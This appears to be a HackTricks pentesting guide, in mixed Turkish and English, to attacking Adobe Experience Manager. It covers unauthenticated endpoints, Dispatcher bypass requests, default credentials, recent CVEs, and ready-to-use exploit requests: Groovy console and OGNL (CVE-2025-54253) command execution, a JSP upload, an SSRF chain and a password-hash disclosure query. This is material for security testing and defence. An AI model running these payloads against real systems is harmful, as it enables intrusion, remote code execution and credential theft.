AEM (Adobe Experience Manager) Pentesting
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) Apache Sling/Felix (OSGi) ve bir Java Content Repository (JCR) üzerinde çalışan kurumsal bir CMS’dir. Bir saldırgan bakış açısından AEM instances çok sık olarak tehlikeli development endpoints, zayıf Dispatcher kuralları, default credentials ve her çeyrekte yamalanan uzun bir CVE kuyruğu açığa çıkarır.
The checklist below focuses on externally reachable (unauth) attack surface that keeps showing up in real engagements (2022-2026).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Diğer hızlı göstergeler:
/etc.clientlibs/statik yol mevcut (JS/CSS döndürür)./libs/granite/core/content/login.html“Adobe Experience Manager” banner’lı giriş sayfası.</script><!--/* CQ */-->HTML’in en altında yorum.
2. High-value unauthenticated endpoints
| Yol | Ne elde edersiniz | Notlar |
|---|---|---|
/.json, /.1.json | DefaultGetServlet üzerinden JCR düğümleri | Çoğunlukla engellenir, ancak Dispatcher bypass (aşağıya bakınız) işe yarar. |
/bin/querybuilder.json?path=/ | QueryBuilder API | Sayfa ağacı, dahili yollar ve kullanıcı adlarının leak’i. |
/system/console/status-*, /system/console/bundles | OSGi/Felix console | Varsayılan olarak 403; eğer açığa çıkmışsa ve creds bulunursa ⇒ bundle-upload RCE. |
/crx/packmgr/index.jsp | Package Manager | Kimlik doğrulaması gerektiren content package yüklemelerine izin verir → JSP payload upload. |
/etc/groovyconsole/** | AEM Groovy Console | Eğer açığa çıkmışsa → herhangi bir Groovy/Java kodu çalıştırma. |
/libs/cq/AuditlogSearchServlet.json | Audit logs | Bilgi sızıntısı. |
/libs/cq/ui/content/dumplibs.html | ClientLibs dump | XSS vector. |
/adminui/debug | AEM Forms on JEE Struts dev-mode OGNL evaluator | Yanlış yapılandırılmış Forms kurulumlarında (CVE-2025-54253) bu endpoint kimlik doğrulama gerektirmeyen OGNL çalıştırır → RCE. |
Dispatcher bypass tricks (2025/2026’da hâlâ çalışıyor)
Çoğu üretim sitesi Dispatcher’ın (reverse-proxy) arkasında yer alır. Filtre kuralları genellikle kodlanmış karakterlerin veya izin verilen statik uzantıların kötüye kullanılmasıyla atlatılır.
Klasik noktalı virgül + izin verilen uzantı
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Encoded slash bypass (2025 KB ka-27832)
GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1
If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.
3. Yaygın yanlış yapılandırmalar (2026’da hâlâ mevcut)
- Anonymous POST servlet –
POST /.jsonwith:operation=importlets you plant new JCR nodes. Blocking*.jsonPOST in the Dispatcher fixes it. - Herkese okunabilir kullanıcı profilleri – varsayılan ACL,
/home/users/**/profile/*üzerindejcr:readiznini herkese verir. - Varsayılan kimlik bilgileri –
admin:admin,author:author,replication:replication. - WCMDebugFilter enabled ⇒ reflected XSS via
?debug=layout(CVE-2016-7882, hala legacy 6.4 kurulumlarında bulunuyor). - Groovy Console exposed – remote code execution by sending a Groovy script:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
- Dispatcher encoded-slash gap –
/bin/querybuilder.jsonand/etc/truststore.jsonreachable with%2f/%3Beven when blocked by path filters. - AEM Forms Struts devMode left enabled –
/adminui/debug?expression=evaluates OGNL without auth (CVE-2025-54253) leading to unauth RCE; paired XXE in Forms submission (CVE-2025-54254) allows file read.
4. Yakın zamandaki zafiyetler (service-pack takvimi)
| Quarter | CVE / Bulletin | Affected | Impact |
|---|---|---|---|
| Dec 2025 | APSB25-115, CVE-2025-64537/64539 | 6.5.24 & earlier, Cloud 2025.12 | Çok sayıda kritik/depolanan XSS → author UI üzerinden kod yürütme. |
| Sep 2025 | APSB25-90 | 6.5.23 & earlier | Güvenlik özelliği atlatma zinciri (Dispatcher auth checker) – 6.5.24/Cloud 2025.12’e yükseltin. |
| Aug 2025 | CVE-2025-54253 / 54254 (AEM Forms JEE) | Forms 6.5.23.0 and earlier | DevMode OGNL RCE + XXE dosya okuma, kimlik doğrulaması olmadan. |
| Jun 2025 | APSB25-48 | 6.5.23 & earlier | Communities bileşenlerinde Stored XSS ve ayrıcalık yükseltmesi. |
| Dec 2024 | APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74) | 6.5.22 & earlier | DOM/Stored XSS, keyfi kod yürütme (düşük yetkili). |
| Dec 2023 | APSB23-72 | ≤ 6.5.18 | Hazırlanmış URL ile DOM tabanlı XSS. |
Her zaman müşterinin servis paketi ile eşleşen APSB bültenini kontrol edin ve en son 6.5.24 (26 Kas 2025) veya Cloud Service 2025.12 için zorlayın. AEM Forms on JEE kendi add-on hotfix’ini 6.5.0-0108+ gerektirir.
5. İstismar örnekleri
5.1 Dispatcher bypass + JSP upload ile RCE
If anonymous write is possible:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Şimdi /content/evil.jsp isteğinde bulunun – JSP, AEM işlem kullanıcısı olarak çalışır.
5.2 SSRF to RCE (tarihi < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py from aem-hacker tam zinciri otomatikleştirir.
5.3 OGNL RCE on AEM Forms JEE (CVE-2025-54253)
# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"
Eğer zafiyetliyse, HTTP gövdesi komut çıktısını içerir.
5.4 QueryBuilder hash disclosure (encoded slash bypass)
GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1
anonymous read ACLs varsayılan olduğunda, rep:password hash’lerini içeren kullanıcı düğümlerini döndürür.
6. Araçlar
- aem-hacker – Swiss-army enumeration script; dispatcher bypass, SSRF detection, default-creds kontrolleri ve daha fazlasını destekler.
python3 aem_hacker.py -u https://target --host attacker-ip
- Tenable WAS plugin 115065 – QueryBuilder hash disclosure ve encoded-slash bypass’ı otomatik olarak tespit eder (yayın: Dec 2025).
- Content brute-force – gizli bileşenleri keşfetmek için
/_jcr_content.(json|html)’i özyinelemeli olarak isteyin. - osgi-infect – creds mevcutsa
/system/console/bundlesüzerinden kötü amaçlı OSGi bundle yükler.
References
- Adobe Security Bulletin APSB25-115 – Adobe Experience Manager için güvenlik güncellemeleri (Dec 9, 2025)
- BleepingComputer – Adobe, AEM Forms zero-days için acil düzeltmeler yayınladı (Aug 5, 2025)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


